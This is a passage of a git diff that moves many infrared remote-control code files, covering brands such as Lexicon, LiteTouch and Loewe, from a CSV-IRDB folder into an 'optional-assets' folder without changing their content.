assets/resources/infrared/_CSV-IRDB_/LeadTek/Unknown_RM-0007/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LeadTek/Unknown_RM-0007/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400046/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y0400046/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400046/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y0400046/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400052/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y0400052/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400052/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y0400052/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LeadTek/Unknown_Y04G0004/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y04G0004/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LeadTek/Unknown_Y04G0004/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y04G0004/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Leadership/Unknown_GOTEC/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Leadership/Unknown_GOTEC/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Leadership/Unknown_GOTEC/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Leadership/Unknown_GOTEC/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Lexicon/Receiver/130,11.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lexicon/Receiver/130,11.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Lexicon/Receiver/130,11.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Lexicon/Receiver/130,11.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Lexicon/Surround Processor/130,11.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/130,11.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Lexicon/Surround Processor/130,11.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/130,11.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Lexicon/Surround Processor/133,2.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/133,2.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Lexicon/Surround Processor/133,2.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/133,2.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Lexicon/Surround Processor/28,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/28,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Lexicon/Surround Processor/28,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/28,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Life-view/Unknown_flyvideo/96,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Life-view/Unknown_flyvideo/96,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Life-view/Unknown_flyvideo/96,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Life-view/Unknown_flyvideo/96,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Lifetec/Unknown_LT9096/128,123.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lifetec/Unknown_LT9096/128,123.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Lifetec/Unknown_LT9096/128,123.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Lifetec/Unknown_LT9096/128,123.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Lifetec/Unknown_remote/164,164.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lifetec/Unknown_remote/164,164.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Lifetec/Unknown_remote/164,164.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Lifetec/Unknown_remote/164,164.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Lightolier/Lighting Controller/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lightolier/Lighting Controller/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Lightolier/Lighting Controller/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Lightolier/Lighting Controller/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Linksys/Media Adapter/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Linksys/Media Adapter/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Linksys/Media Adapter/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Linksys/Media Adapter/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Linksys/Unknown_WMA11B-R/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Linksys/Unknown_WMA11B-R/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Linksys/Unknown_WMA11B-R/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Linksys/Unknown_WMA11B-R/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Linn/CD Player/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Linn/CD Player/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/CD Player/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Linn/Classic music/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/Classic music/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Linn/Classic music/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/Classic music/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Linn/Classic music/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/Classic music/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Linn/Classic music/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/Classic music/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Linn/Classic music/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/Classic music/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Linn/Classic music/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/Classic music/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Linn/Surround Processor/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/Surround Processor/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Linn/Surround Processor/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/Surround Processor/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Linn/Surround Processor/23,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/Surround Processor/23,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Linn/Surround Processor/23,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/Surround Processor/23,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Linn/Surround Processor/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/Surround Processor/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Linn/Surround Processor/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/Surround Processor/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/129,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/129,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/129,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/129,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/130,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/130,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/130,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/130,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/131,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/131,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/131,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/131,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/132,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/132,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/132,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/132,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/133,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/133,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/133,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/133,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/134,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/134,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/134,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/134,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/135,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/135,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/135,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/135,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/136,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/136,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/136,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/136,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/137,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/137,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/137,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/137,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/144,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/144,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/144,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/144,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/145,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/145,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/145,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/145,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/146,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/146,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/146,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/146,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/147,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/147,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/147,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/147,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/148,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/148,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/148,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/148,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/149,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/149,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/149,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/149,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/150,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/150,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/150,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/150,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/151,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/151,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/151,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/151,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/152,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/152,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/152,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/152,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/153,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/153,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/153,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/153,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/255,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/255,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/255,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/255,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/DVD Player/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/DVD Player/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/32,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/DVD Player/32,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/32,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/DVD Player/32,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/33,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/DVD Player/33,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/33,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/DVD Player/33,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/DVD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/DVD Player/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/45,45.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/DVD Player/45,45.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/45,45.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/DVD Player/45,45.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/TV/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Loewe/TV/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/TV/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/TV/27,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/TV/27,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Loewe/TV/27,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/TV/27,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/TV/31,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/TV/31,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Loewe/TV/31,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/TV/31,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/TV/33,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/TV/33,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Loewe/TV/33,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/TV/33,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/TV/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/TV/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Loewe/TV/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/TV/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/TV/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/TV/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Loewe/TV/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/TV/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/VCR/144,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/VCR/144,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Loewe/VCR/144,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/VCR/144,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/VCR/144,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/VCR/144,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Loewe/VCR/144,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/VCR/144,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/VCR/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/VCR/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Loewe/VCR/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/VCR/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Logitech/Unknown_HarmonyOne/30,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Logitech/Unknown_HarmonyOne/30,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Logitech/Unknown_HarmonyOne/30,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Logitech/Unknown_HarmonyOne/30,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Lumagen/Scaler/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lumagen/Scaler/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Lumagen/Scaler/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Lumagen/Scaler/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Luxman/CD Player/204,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Luxman/CD Player/204,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Luxman/CD Player/204,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Luxman/CD Player/204,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Luxman/Receiver/204,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Luxman/Receiver/204,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Luxman/Receiver/204,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Luxman/Receiver/204,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/MAGIC LIGHTING/Lighting/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/MAGIC LIGHTING/Lighting/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/MAGIC LIGHTING/Lighting/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/MAGIC LIGHTING/Lighting/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/MAGNASONIC/Unknown_TV/131,122.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/MAGNASONIC/Unknown_TV/131,122.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/MAGNASONIC/Unknown_TV/131,122.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/MAGNASONIC/Unknown_TV/131,122.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/MCL/Unknown_RemoteController/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/MCL/Unknown_RemoteController/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/MCL/Unknown_RemoteController/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/MCL/Unknown_RemoteController/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/METRONIC/Unknown_060501/0,127.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/METRONIC/Unknown_060501/0,127.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/METRONIC/Unknown_060501/0,127.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/METRONIC/Unknown_060501/0,127.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/MGA/VCR/87,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/MGA/VCR/87,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/MGA/VCR/87,-1.ir rename to 